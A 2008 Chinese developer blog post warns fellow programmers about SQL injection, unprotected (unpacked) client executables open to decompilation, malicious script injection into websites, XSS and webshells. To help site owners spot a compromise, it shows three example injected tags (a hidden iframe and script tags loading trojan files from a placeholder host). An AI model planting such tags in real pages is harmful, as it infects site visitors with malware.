Dirain的开源地带

思想在进步
  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

学技术的同时,考虑一下这些问题!

Posted on 2008-10-17 13:12  Dirain  阅读(2057)  评论(18编辑  收藏  举报

      工作2周了,对公司状况多少已经了解。因为公司是运营性质的网站,网站的安全性很重要。所以前几天在家的时候利用业余时间对公司的所有产品做一下安全检测,检测结果惊人,bug导致公司的全部客户数据泄露,而且可对数据随意进行恶意修改或破坏,如果这被别人发现了,公司的损失可想而知,随后马上联系经理了解情况。同事已经有3-5年工作经验了,可居然连这些安全性的问题都没有解决,是没在意呢?还是不知道呢?这都不重要,重要的是bug被我发现了,所以今天才想发表一些文章希望能够给没接触过的朋友一些新的认识,可能文中不能解释的太全面。

      首先说一下C/S架构的程序。程序的所有动态链接库以及配置信息全部保存在客户端,这就意味了如果没有做好软件保护措施会有随时被人入侵和改掉程序的风险。

      举个例子,假设说现在我们有一个c/s客户端程序,这个程序为客户提供了一些商务功能,都是收费的。那么肯定就会把用户的一些信息存储在数据库里,用户需要通过程序输入自己的帐号和密码去登陆数据库验证,并且把自己的消费信息返回到客户端的程序显示。 登陆过程中需要注意用户输入数据的效验,如果没有进行效验,一些恶意数据被提交到服务器,这可能直接绕过验证就可以使用软件。最明显的问题就是SQL注入,我想这个不用多介绍了,sql注入能有多大危害程度,具体可以看这些关于SQL注入的相关手段。轻则可以得到你数据库所有信息,重则可以直接得到你数据库服务器的权限,像控制自己机器一样控制你的服务器。

      用户数据方面的问题我们可以顾虑和处理,还有一个最重要的问题是程序保护。软件有一个保护壳的概念,意思就是对编译后的软件做一些加密,从而让软件无法被反编译或者通过资源查看工具得到程序的资源,这些是我的个人理解,可能很不专业。“无壳”,我们正常编译后的程序都是无可状态,可以通过工具轻松反编译,或者修改资源。至于怎么去查看是否有壳,可以通过PEiD v0.94这款工具查看。

这是用Winform做的一个程序,用PEID查看后的结果,可以清楚的看到是用Microsoft Visual C# / Basic .NET开发的软件。如果是delphi或者C++的无壳程序,同样也可以看到。还有一种加花的工具可以让.net写的程序伪装成C++、VB、delphi等,当然那只是伪装,这里我不多介绍了。看到了又意味着什么呢?如果知道了程序是通过什么语言编写,那么就可以找相应的反编译软件或者资源修改软件去修改你的程序。比如说.net的反编译工具Reflector具它可以反编译出程序的源码,当然只有无壳的才会被成功反编译。delphi、C++等程序我通常习惯使用eXeScope、ResHacker、ResScope等工具去编译,这几款可以把一个无壳程序的界面都反编译出来,可以对版权等信息随意修改,网上有些汉化软件就是通过这种方式去汉化。

      那么加过壳的软件呢?又如何加壳呢? 加过壳的软件会把资源全部加密,这样就无法反编译或者修改资源。但加壳也不是绝对安全,因为能加壳就能脱壳,只是随着加壳软件的算法在修改的难度上增大而已,我接触到最猛的壳是国外的一款商业保护壳Themida,我脱壳就从未成功过,网上专门讨论软件安全的网站也没有几个人能搞定这个壳。

      至于怎么去加壳,简单的加只是使用工具去加密,一般国外的比较强。这里我给大家介绍一个软件安全的网站,我接触电脑的时候这个网站就很火,在国内是很有名的。看雪软件安全网站,他的工具下载有很多软件安全方面的工具。

      在说说Web程序的常见攻击手段。我想有些朋友可能在自己网站的源码中发现一下几类源码

<iframe src=http://www.xxx.com/muma.html width=0 height=0></iframe>

<script src=http://www.xxx.com/muma.js></script>

<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>

如果在网站中发现类似与上面的代码(这只是常见的),那么您的网站肯定存在安全问题,或者说你的服务器被人入侵,也可能是跟你服务器在同一内网的机器被入侵。这种情况被人称做“挂马”,在我们程序员的角度去看,这不过就是引入脚本文件或者一个框架连接一个页面,可能会认为不影响我的显示效果。但他们引入的这些页面或js存在这重大的危机,它可以使访问你网站的用户机器中木马或病毒,甚至机器被控制。被访问页面的那些代码叫做“网马”,网马一般是通过操作系统的漏洞制作出来的。也就是说如果用户机器打了微软的更新补丁,那么你中网马的几率相对会很小,但不能说不中,因为可能会有“Oday网马”,Oday就是未知的安全漏洞,可以说是微软没有公布补丁或者没有被发现的漏洞。

      同样,在网站凡事有用户输入信息的地方一定要严格过滤,否则会引发SQL注入以及跨站漏洞。跨站是就比如说你的网站有一个发表文章功能,如果你没有对字符串过滤或者一些html角标和脚本过滤,一段脚本被插入到数据库在被读出来会发生什么后果可以想一想,所以一定要对这些信息进行过滤。

      还有些朋友的网站被人恶意修改了,但已经被发现,而且把代码已经修改回来了,可过了一会又被挂上去了。这极有可能为法相以下情况:

      1.webshell被拿

      2.服务器被入侵

      3.服务器内网某台机器被入侵

 webshell是web入侵的脚本攻击工具。简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。至于防范webshell的文章,Google可以搜到很多。如果防范不好,被黑客利用webshell提权,拿到服务器权限,直接控制服务器做任何操作。

      这就是我了解到的一些东西,对于某些词我没有解释太多,因为网上有很多详细的资料,可以搜一搜。希望朋友们都注意起安全问题,或者有更多需要注意的地方可以留言分享。